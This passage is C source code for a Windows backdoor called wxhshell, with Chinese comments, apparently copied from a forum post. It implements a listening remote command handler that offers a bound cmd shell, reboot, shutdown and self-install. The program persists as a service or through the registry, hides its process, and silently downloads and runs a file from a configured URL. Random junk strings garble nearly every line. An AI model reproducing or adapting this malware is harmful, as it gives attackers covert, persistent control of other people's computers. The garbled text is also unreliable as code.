  case '?': { XFv^j SF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); } 4ZWAzH  
    break; qi['~((  
  } &a+=@Z)kf  
  // 安装 B"rO  
  case 'i': { C^fn[plL  
    if(Install()) d[YG&.}+8j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P @~)9W  
    else ]2c0?f*Y7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N<O<wtXIj  
    break; iB}*<~`.Eg  
    } RBLOc$2  
  // 卸载 [ut[W9  
  case 'r': { txiX1o!/L  
    if(Uninstall())  Cwl:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \[d~O>k2  
    else `PT'Lakf;3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >uxAti\  
    break; 3i#'osq  
    } 2;x+#D8  
  // 显示 wxhshell 所在路径 tHEZuoi  
  case 'p': { I 9<%fv  
    char svExeFile[MAX_PATH]; oS~;>]W  
    strcpy(svExeFile,"\n\r"); +OZ\rs  
      strcat(svExeFile,ExeFile); HLCI  
        send(wsh,svExeFile,strlen(svExeFile),0); hOYP~OR  
    break; k3T374t1b  
    } ? U* `!-  
  // 重启 !j& #R%D  
  case 'b': { p/HGI)'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3U'l'H,  
    if(Boot(REBOOT)) +(Jh$b_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;?y~ h$  
    else { uQ%3?bx)T  
    closesocket(wsh); X6j:TF  
    ExitThread(0); J(SGaHm@  
    } * ).YU[i  
    break; y@r0"cvz9  
    } J$d']%Dwb  
  // 关机 !AG {`[b  
  case 'd': { f VJWW):  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); - LB}=  
    if(Boot(SHUTDOWN)) 72vp6/;)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +i[vJRLxl~  
    else { (|pM^+  
    closesocket(wsh); F_0@S h"  
    ExitThread(0); fRHzY?n9;  
    } QQt4pDir>  
    break; 7~SnY\B|  
    } o+Mc%O Z  
  // 获取shell TkVqv v  
  case 's': { W![~"7?   
    CmdShell(wsh); e@1A_q@.  
    closesocket(wsh); A1*\ \[  
    ExitThread(0); MpTOC&NG%s  
    break; !;K zR&  
  } Z)f?X  
  // 退出 {&a6<y#-  
  case 'x': { r5y*SoD!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yY]E~  
    CloseIt(wsh);  `fE'$2  
    break; i1K$~  
    } f`iDF+h<6  
  // 离开 !JBj%|!  
  case 'q': { Z@bSkO<Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); DG}s`'  
    closesocket(wsh); /t*Q"0X5  
    WSACleanup(); ZZ T 9t#~  
    exit(1); *m2?fP\  
    break; n(i/jW~0w  
        } rM? J40&.  
  } M@Ti$=  
  } v57<b&p26  
F3t IJz>3  
  // 提示信息 qt6@]Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [NV/*>"j&  
} j<R&?*  
  } >WLHw!I!6  
nFWiS~(#sW  
  return; V9Dq<y-y  
} 2qQ;U?:q  
!N!AO(Z  
// shell模块句柄 )Cat$)I#,  
int CmdShell(SOCKET sock) qj4jM7  
{ w"W;PdH)  
STARTUPINFO si; x&r f]R  
ZeroMemory(&si,sizeof(si)); lPrAx0m13%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >x6)AH.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5tk7H2K^<  
PROCESS_INFORMATION ProcessInfo; *!j!o%MB  
char cmdline[]="cmd"; $/$Hi U`.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6J">@+  
  return 0; F%.UpV,  
} 64vj6 &L  
Ktu~%)k%  
// 自身启动模式 a!f71k r  
int StartFromService(void) %xKZ" #Z#K  
{ .gM6m8l9wp  
typedef struct 7u rD  
{ itg"dGDk  
  DWORD ExitStatus; C XNYWx  
  DWORD PebBaseAddress; -w f>N:  
  DWORD AffinityMask; MTq/  
  DWORD BasePriority; 8n:N#4Dh^  
  ULONG UniqueProcessId; 0JKTwLhC  
  ULONG InheritedFromUniqueProcessId; i52JY&N  
}   PROCESS_BASIC_INFORMATION; jfVw{\l  
sk*vmxClY  
PROCNTQSIP NtQueryInformationProcess; 73nM9  
`sg W0Uf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nwzyL`kF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ))nTd=  
Cs\jPh;"  
  HANDLE             hProcess; dpX Fx"4A  
  PROCESS_BASIC_INFORMATION pbi; ru~!;xT  
bAy\Sr #/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s%8,'3&  
  if(NULL == hInst ) return 0; @%YbptT}  
 FsQoQ#*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -f1lu*3\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [)kuu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +n$ruoRJh  
( uG; Q  
  if (!NtQueryInformationProcess) return 0; <_]W1V:0  
.$ YYN/+W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6{0MprY  
  if(!hProcess) return 0; REh\WgV!u  
URt+MTU[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /8<c~  
S]Di1E^r;_  
  CloseHandle(hProcess); U3{4GmrT  
_/u(:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ((<\VQ,>(  
if(hProcess==NULL) return 0; {[hgSVN ;  
\Lg4Cx  
HMODULE hMod; rO YD[+  
char procName[255]; mIPDF1= )  
unsigned long cbNeeded; $RunGaX!=N  
KD\sU6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WF_QhKW|k  
IYHNN  
  CloseHandle(hProcess); 2+b}FVOe\  
wQ~]VV RN  
if(strstr(procName,"services")) return 1; // 以服务启动 ggm'9|  
lL 50PU  
  return 0; // 注册表启动 lR9uD9Dr  
} n,LM"N:   
kP5G}Bp  
// 主模块 EziGkbpd@  
int StartWxhshell(LPSTR lpCmdLine) IGi9YpI&K  
{ 1o_6WU  
  SOCKET wsl; g \ou+M#  
BOOL val=TRUE; ReL+V  
  int port=0; *B84Y.df  
  struct sockaddr_in door; M*C1QQf\N  
Q04 `+Vr  
  if(wscfg.ws_autoins) Install(); qJ<l$Ig  
wp5H|ctl  
port=atoi(lpCmdLine); dV16'  
y y[Y=  
if(port<=0) port=wscfg.ws_port; YU!s;h  
cSNeWJKA6  
  WSADATA data; 4i5b.b U$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |sl^4'Ghc  
3+vVdvu%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -M_>]ubG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xI/8[JW*  
  door.sin_family = AF_INET; z.?slYe[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #0\* 8 6  
  door.sin_port = htons(port); _OS,zZ0  
[7g-M/jvY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { FC||6vJth  
closesocket(wsl); SJlE!MK  
return 1; +_u~Np  
} ^4'!B +}F  
%Pj}  
  if(listen(wsl,2) == INVALID_SOCKET) { ~*UY[!+4^=  
closesocket(wsl); 7,8TMd1`M  
return 1; 8?x:PkK  
} >"|t*k S  
  Wxhshell(wsl); tmM; Z(9t  
  WSACleanup(); Y>ATL  
3-)}.8F  
return 0; !_;J@B  
DL,]iJm  
} TIR Is1  
(<-m|H};  
// 以NT服务方式启动  pn) {v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mEkYT  
{ w`3.wALb  
DWORD   status = 0; .+<Ka0  
  DWORD   specificError = 0xfffffff; eH[i<Z  
ry@p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^tI&5S]nE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <[K)PI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m|t\w|B2  
  serviceStatus.dwWin32ExitCode     = 0; N:S2X+}(  
  serviceStatus.dwServiceSpecificExitCode = 0; P=\Hi.]%  
  serviceStatus.dwCheckPoint       = 0; gW9`k,U  
  serviceStatus.dwWaitHint       = 0; R,=8)OI2  
rKd|s7l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mZmEE2h  
  if (hServiceStatusHandle==0) return; (/!@ -]1  
~C>Q+tR8  
status = GetLastError(); _-^mxC|M  
  if (status!=NO_ERROR) [TFp2B~)#  
{ F- u"zox  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <*-8E(a  
    serviceStatus.dwCheckPoint       = 0; }gB^C3b6  
    serviceStatus.dwWaitHint       = 0; ;ceg:-Zqo  
    serviceStatus.dwWin32ExitCode     = status; Q9B!0G.-bs  
    serviceStatus.dwServiceSpecificExitCode = specificError; V0&7MY*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 01uj-!D$@  
    return; &GvSgdttv  
  } ~l{Qz0&  
W}}ZP];  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {fX~%%c"  
  serviceStatus.dwCheckPoint       = 0; JG1q5j##]b  
  serviceStatus.dwWaitHint       = 0; m_BpY9c]5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7Kb&BF|Q  
} C8)Paop$  
Aayd3Ph0%  
// 处理NT服务事件,比如:启动、停止 1$6 u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) MpvGF7H  
{ o@]n<ZYo  
switch(fdwControl) _x#y   
{ bAuiMw7!  
case SERVICE_CONTROL_STOP: V[kn'QkWv  
  serviceStatus.dwWin32ExitCode = 0; 0uPcEpIA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +7n vy^m  
  serviceStatus.dwCheckPoint   = 0; pGy k61  
  serviceStatus.dwWaitHint     = 0; w(t1m]pF[  
  { JO&RuAq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w'VuC82SZ  
  } DIWyv-  
  return; ,j\uvi(Y  
case SERVICE_CONTROL_PAUSE: v0tFU!Q%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dLwP7#r  
  break; 4mEJu  
case SERVICE_CONTROL_CONTINUE: Gm=&[?}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l @@pXg3  
  break; ^P/OHuDL  
case SERVICE_CONTROL_INTERROGATE:  w}t}Sh  
  break; (x.qyYEoI  
}; Fi\) ka\u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |ITb1O`_P  
} @~N"MsF3  
gTB|IcOs  
// 标准应用程序主函数 ;X0uA?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;:ZD<'+N  
{ qQO*:_ezzk  
\F\7*=xk  
// 获取操作系统版本 $=  2[Q  
OsIsNt=GetOsVer(); .h4Z\R`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Eb63O  
.*>C[^  
  // 从命令行安装 _^zs(  
  if(strpbrk(lpCmdLine,"iI")) Install(); \yxGE+~P  
3webAaO  
  // 下载执行文件 $AMcU5^b7  
if(wscfg.ws_downexe) { Gv }  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) },Grg~l  
  WinExec(wscfg.ws_filenam,SW_HIDE); )J+rt^4|  
} 7Q~W}`Qv'  
0/fZDQH  
if(!OsIsNt) { v$(Z}Hg  
// 如果时win9x,隐藏进程并且设置为注册表启动 [Fk|m1i!  
HideProc(); uGW#z_{(n  
StartWxhshell(lpCmdLine); B> \q!dX3  
} 0oBAJP  
else F{.g05^y  
  if(StartFromService()) 6cbV[ !BL  
  // 以服务方式启动 NiE`u m  
  StartServiceCtrlDispatcher(DispatchTable); ]gv3|W  
else O*,O]Q  
  // 普通方式启动 e7&RZ+s#wZ  
  StartWxhshell(lpCmdLine); H$Pf$D$  
}j2t8B^&:  
return 0; D;+Y0B  
}
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只看该作者 1 发表于: 2006-10-10
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